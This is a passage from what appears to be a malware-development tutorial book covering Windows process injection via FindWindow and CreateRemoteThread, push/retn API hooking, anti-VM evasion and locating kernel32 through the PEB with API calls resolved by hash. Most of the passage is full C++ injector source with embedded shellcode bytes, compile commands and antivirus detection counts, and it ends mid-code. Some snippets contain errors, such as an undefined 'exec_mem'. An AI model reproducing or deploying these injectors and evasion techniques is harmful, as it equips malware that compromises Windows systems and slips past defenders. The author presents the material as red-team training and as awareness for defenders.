"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"

240
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

demo
Let’s go to see everything in action. Compile our practical example:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Then run it! In our case victim machine is Windows 10 x64:

As you can see, everything is worked perfectly! :)


Let’s go to check one of our victim process, for example OneDrive:

241
There is a one caveat. The provided below code is a dirty proof-of-concept
and may crash certain processes. For example, in my case SearchUI.exe
is crashet and not worked after run my example.
Then, upload our malware to VirusTotal:

242
https://www.virustotal.com/gui/file/5835847d11b7f891e70681e2ec3a1e22013fa3ff
e31a36429e7814a3be40bd97/detection
So, 7 of 69 AV engines detect our file as malicious.
Moneta64.exe result:

The reason why it’s good to have this technique in your arsenal is because it does
not require you to allocate new RWX memory to copy your payload over to by using
VirtualAllocEx which is more popular and suspicious and which is more closely
investigated by the blue teamers.
I hope this section spreads awareness to the blue teamers of this interesting technique,
and adds a weapon to the red teamers arsenal.
VirtualQueryEx

243
CreateToolhelp32Snapshot
Process32First
Process32Next
OpenProcess
Taking a snapshot and viewing processes
WriteProcessMemory
CreateRemoteThread
Hunting memory
Moneta64.exe
source code in Github

244
29. windows API hooking part 2. Simple C++ example.

what is API hooking?


API hooking is a technique by which we can instrument and modify the behaviour and
flow of API calls. This technique is also used by many AV solutions to detect if code is
malicious.
The easiest way of hooking is by inserting a jump instruction. In this section I will show
you another technique.
This method is six bytes in total, and looks like the following.
The push instruction pushes a 32bit value on the stack, and the retn instruction pops
a 32bit address off the stack into the Instruction Pointer (in other words, it starts
execution at the address which is found at the top of the stack.)

example 1
Let’s look at an example. In this case I can hook a function WinExec from
kernel32.dll (hooking.cpp):
/*
hooking.cpp
basic hooking example with push/retn method
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/03/08/basic-hooking-2.html
*/
#include <windows.h>

// buffer for saving original bytes


char originalBytes[6];

245
FARPROC hookedAddress;

// we will jump to after the hook has been installed


int __stdcall myFunc(LPCSTR lpCmdLine, UINT uCmdShow) {
WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress, originalBytes, 6, NULL);
return WinExec("mspaint", uCmdShow);
}

// hooking logic
void setMySuperHook() {
HINSTANCE hLib;
VOID *myFuncAddress;
DWORD *rOffset;
DWORD *hookAddress;
DWORD src;
DWORD dst;
CHAR patch[6]= {0};

// get memory address of function WinExec


hLib = LoadLibraryA("kernel32.dll");
hookedAddress = GetProcAddress(hLib, "WinExec");

// save the first 6 bytes into originalBytes (buffer)


ReadProcessMemory(GetCurrentProcess(),
(LPCVOID) hookedAddress,
originalBytes, 6, NULL);

// overwrite the first 6 bytes with a jump to myFunc


myFuncAddress = &myFunc;

// create a patch "push <addr>, retn"


memcpy_s(patch, 1, "\x68", 1); // 0x68 opcode for push
memcpy_s(patch + 1, 4, &myFuncAddress, 4);
memcpy_s(patch + 5, 1, "\xC3", 1); // opcode for retn

WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress, patch, 6, NULL);
}

int main() {

// call original
WinExec("notepad", SW_SHOWDEFAULT);

246
// install hook
setMySuperHook();

// call after install hook


WinExec("notepad", SW_SHOWDEFAULT);

}
As you can see, the source code is identical to the example from the first section about
hooking. The only difference is:

That will translate into the following assembly instructions:


// push myFunc memory address onto the stack
push myFunc

// jump to myFunc
retn
Let’s go to compile it:
i686-w64-mingw32-g++ -O2 hooking.cpp -o hooking.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive >/dev/null 2>&1

And run on Windows 7 x64:


.\hooking.exe

247
As you can see everything is worked perfectly :)
x86 API Hooking Demystified
WinExec
source code in github

248
30. process injection via FindWindow. Simple C++ example.

This post is the result of my self-researching one of the Win32 API function.
One of my previous posts, I wrote how to find process by name, for my injector?
When writing process or DLL injectors, it would be nice to find, for example, all windows
running in the system and try to inject into the process launched by the administrator.
In the simplest case to find the any window of a process that will be our victim.

practical example
The flow is this technique is simple. Let’s go to investigate source code:
/*
* hack.cpp - classic process injection
* via FindWindow. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/03/08/malware-injection-17.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char my_payload[] =

// 64-bit meow-meow messagebox


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"

249
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main() {

HANDLE ph;
HANDLE rt;
DWORD pid;

// find a window for mspaint.exe


HWND hw = FindWindow(NULL, (LPCSTR) "Untitled - Paint");
if (hw == NULL) {
printf("failed to find window :(\n");
return -2;
}
GetWindowThreadProcessId(hw, &pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

LPVOID rb = VirtualAllocEx(ph, NULL,


sizeof(my_payload),
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);

return 0;

250
}
As usually, for simplicity I used meow-meow messagebox payload:
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
As you can, see, the main logic is here:
//...
// find a window for mspaint.exe
HWND hw = FindWindow(NULL, (LPCSTR) "Untitled - Paint");
if (hw == NULL) {
printf("failed to find window :(\n");
return -2;
}
GetWindowThreadProcessId(hw, &pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
//...

Demo
Let’s go to compile:

251
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

and run:
.\hack.exe 1304

252
As you can see, everything is work perfectly :)

anti-VM
Another example of using this function is VM “evasion”. The fact that some windows’
names are only present in virtual environment and not is usual host OS.
Let’s look at an example:
/*
* hack.cpp - VM evasion via FindWindow. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/03/08/malware-injection-17.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char my_payload[] =

// 64-bit meow-meow messagebox


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"

253
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {

HANDLE ph;
HANDLE rt;
DWORD pid;

// find a window with certain class name


HWND hcl = FindWindow((LPCSTR) L"VBoxTrayToolWndClass", NULL);
HWND hw = FindWindow(NULL, (LPCSTR) L"VBoxTrayToolWnd");
if (hcl || hw) {
pid = atoi(argv[1]);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

LPVOID rb = VirtualAllocEx(ph, NULL, sizeof(my_payload),


MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);

return 0;
} else {
printf("virtualbox VM detected :(");
return -2;
}
}
As you can see we just check if windows with the following class names are present in
the OS:
VBoxTrayToolWndClass
VBoxTrayToolWnd

254
Let’s go to compile:
x86_64-w64-mingw32-g++ hack2.cpp -o hack2.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

And run:
.\hack2.exe 1304

So everything is work perfectly for our VirtualBox Windows 10 x64


Let’s go to upload hack2.exe to VirusTotal:

255
So, 4 of 66 AV engines detect our file as malicious.
https://www.virustotal.com/gui/file/dd340e3de34a8bd76c8693832f9a665b47e98fce
58bf8d2413f2173182375787/detection
I hope this section spreads awareness to the blue teamers of this interesting technique,
and adds a weapon to the red teamers arsenal.
FindWindow
Evasions UI artifacts
source code in Github

256
31. malware development tricks. Find kernel32.dll base: asm style.
C++ example.

This section is the result of self-researching interesting trick in real-life malwares.


In the one of my posts I wrote about using GetModuleHandle. It is returns a handle
a specified DLL. For example:
#include <windows.h>

LPVOID (WINAPI * pVirtualAlloc)(


LPVOID lpAddress, SIZE_T dwSize,
DWORD flAllocationType, DWORD flProtect);

//...

int main() {
DWORD oldprotect = 0;

HMODULE hk32 = GetModuleHandle("kernel32.dll");


pVirtualAlloc = GetProcAddress(hk32, "VirtualAlloc");

//...

return 0;
}
Then, the actual way to execute shellcode is something like this (meow.cpp):
#include <windows.h>

257
LPVOID (WINAPI * pVirtualAlloc)(
LPVOID lpAddress, SIZE_T dwSize,
DWORD flAllocationType, DWORD flProtect);

unsigned char my_payload[] =


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main() {
HMODULE hk32 = GetModuleHandle("kernel32.dll");
pVirtualAlloc = GetProcAddress(hk32, "VirtualAlloc");
PVOID lb = pVirtualAlloc(0, sizeof(my_payload),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(lb, my_payload, sizeof(my_payload));
HANDLE th = CreateThread(0, 0,
(PTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
So this code contains very basic logic for executing payload. In this case, for simplicity,
it’s use “meow-meow” messagebox payload.
Let’s compile it:

258
x86_64-w64-mingw32-g++ meow.cpp -o meow.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-Wint-to-pointer-cast -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

and run:

We used GetModuleHandle function to locate kernel32.dll in memory. It’s possible


to go around this by finding library location in the PEB.

assembly way :)
In the one of the previous sections I wrote about TEB and PEB structures and I found
kernel32 via asm. The following is obtained:
1. offset to the PEB struct is 0x030

2. offset to LDR within PEB is 0x00c

3. offset to InMemoryOrderModuleList is 0x014

4. 1st loaded module is our .exe

5. 2nd loaded module is ntdll.dll

259
6. 3rd loaded module is kernel32.dll

7. 4th loaded module is kernelbase.dll


Today I will consider x64 architecture. Offsets are different:
1. PEB address is located at an address relative to GS register: GS:[0x60]

2. offset to LDR within PEB is 0x18

3. kernel32.dll base address at 0x10

practical example
So:
static HMODULE getKernel32(DWORD myHash) {
HMODULE kernel32;
INT_PTR peb = __readgsqword(0x60);
auto modList = 0x18;
auto modListFlink = 0x18;
auto kernelBaseAddr = 0x10;

auto mdllist = *(INT_PTR*)(peb + modList);


auto mlink = *(INT_PTR*)(mdllist + modListFlink);
auto krnbase = *(INT_PTR*)(mlink + kernelBaseAddr);
auto mdl = (LDR_MODULE*)mlink;
do {
mdl = (LDR_MODULE*)mdl->e[0].Flink;
if (mdl->base != nullptr) {
if (calcMyHashBase(mdl) == myHash) { // kernel32.dll hash
break;
}
}
} while (mlink != (INT_PTR)mdl);

kernel32 = (HMODULE)mdl->base;
return kernel32;
}
Then for finding GetProcAddress and GetModuleHandle I used my getAPIAddr
function from my post:
static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {
PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)(
(LPBYTE)h + img_dos_header->e_lfanew);
PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)(

260
(LPBYTE)h +
img_nt_header->
OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);
PDWORD fAddr = (PDWORD)(
(LPBYTE)h + img_edt->AddressOfFunctions);
PDWORD fNames = (PDWORD)(
(LPBYTE)h + img_edt->AddressOfNames);
PWORD fOrd = (PWORD)(
(LPBYTE)h + img_edt->AddressOfNameOrdinals);

for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {


LPSTR pFuncName = (LPSTR)(
(LPBYTE)h + fNames[i]);

if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
return nullptr;
}
And, respectively, the main() function logic is different:
int main() {
HMODULE mod = getKernel32(56369259);
fnGetModuleHandleA myGetModuleHandleA =
(fnGetModuleHandleA)getAPIAddr(mod, 4038080516);
fnGetProcAddress myGetProcAddress =
(fnGetProcAddress)getAPIAddr(mod, 448915681);

HMODULE hk32 = myGetModuleHandleA("kernel32.dll");


fnVirtualAlloc myVirtualAlloc =
(fnVirtualAlloc)myGetProcAddress(
hk32, "VirtualAlloc");
fnCreateThread myCreateThread =
(fnCreateThread)myGetProcAddress(
hk32, "CreateThread");
fnWaitForSingleObject myWaitForSingleObject =
(fnWaitForSingleObject)myGetProcAddress(
hk32, "WaitForSingleObject");

PVOID lb = myVirtualAlloc(0, sizeof(my_payload),


MEM_COMMIT | MEM_RESERVE,

261
PAGE_EXECUTE_READWRITE);
memcpy(lb, my_payload, sizeof(my_payload));
HANDLE th = myCreateThread(NULL, 0,
(PTHREAD_START_ROUTINE)lb, NULL, 0, NULL);
myWaitForSingleObject(th, INFINITE);
}
As you can see, I used Win32 API call by hash trick.
Then full source code (hack.cpp) is:
/*
* hack.cpp - find kernel32 from PEB,
assembly style. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/04/02/malware-injection-18.html
*/
#include <windows.h>
#include <stdio.h>

typedef struct _UNICODE_STRING {


USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;

struct LDR_MODULE {
LIST_ENTRY e[3];
HMODULE base;
void* entry;
UINT size;
UNICODE_STRING dllPath;
UNICODE_STRING dllname;
};

typedef HMODULE(WINAPI *fnGetModuleHandleA)(


LPCSTR lpModuleName
);

typedef FARPROC(WINAPI *fnGetProcAddress)(


HMODULE hModule,
LPCSTR lpProcName
);

typedef PVOID(WINAPI *fnVirtualAlloc)(


LPVOID lpAddress,

262
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

typedef PVOID(WINAPI *fnCreateThread)(


LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

typedef PVOID(WINAPI *fnWaitForSingleObject)(


HANDLE hHandle,
DWORD dwMilliseconds
);

DWORD calcMyHash(char* data) {


DWORD hash = 0x35;
for (int i = 0; i < strlen(data); i++) {
hash += data[i] + (hash << 1);
}
return hash;
}

static DWORD calcMyHashBase(LDR_MODULE* mdll) {


char name[64];
size_t i = 0;

while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1) {


name[i] = (char)mdll->dllname.Buffer[i];
i++;
}
name[i] = 0;
return calcMyHash((char *)CharLowerA(name));
}

static HMODULE getKernel32(DWORD myHash) {


HMODULE kernel32;
INT_PTR peb = __readgsqword(0x60);
auto modList = 0x18;
auto modListFlink = 0x18;
auto kernelBaseAddr = 0x10;

263
auto mdllist = *(INT_PTR*)(peb + modList);
auto mlink = *(INT_PTR*)(mdllist + modListFlink);
auto krnbase = *(INT_PTR*)(mlink + kernelBaseAddr);
auto mdl = (LDR_MODULE*)mlink;
do {
mdl = (LDR_MODULE*)mdl->e[0].Flink;
if (mdl->base != nullptr) {
if (calcMyHashBase(mdl) == myHash) { // kernel32.dll hash
break;
}
}
} while (mlink != (INT_PTR)mdl);

kernel32 = (HMODULE)mdl->base;
return kernel32;
}

static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {


PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
PIMAGE_NT_HEADERS img_nt_header =
(PIMAGE_NT_HEADERS)(
(LPBYTE)h + img_dos_header->e_lfanew);
PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)(
(LPBYTE)h +
img_nt_header->
OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);
PDWORD fAddr = (PDWORD)(
(LPBYTE)h + img_edt->AddressOfFunctions);
PDWORD fNames = (PDWORD)(
(LPBYTE)h + img_edt->AddressOfNames);
PWORD fOrd = (PWORD)(
(LPBYTE)h + img_edt->AddressOfNameOrdinals);

for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {


LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);

if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
return nullptr;
}

264
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main() {
HMODULE mod = getKernel32(56369259);
fnGetModuleHandleA myGetModuleHandleA =
(fnGetModuleHandleA)getAPIAddr(mod, 4038080516);
fnGetProcAddress myGetProcAddress =
(fnGetProcAddress)getAPIAddr(mod, 448915681);

HMODULE hk32 = myGetModuleHandleA("kernel32.dll");


fnVirtualAlloc myVirtualAlloc =
(fnVirtualAlloc)myGetProcAddress(
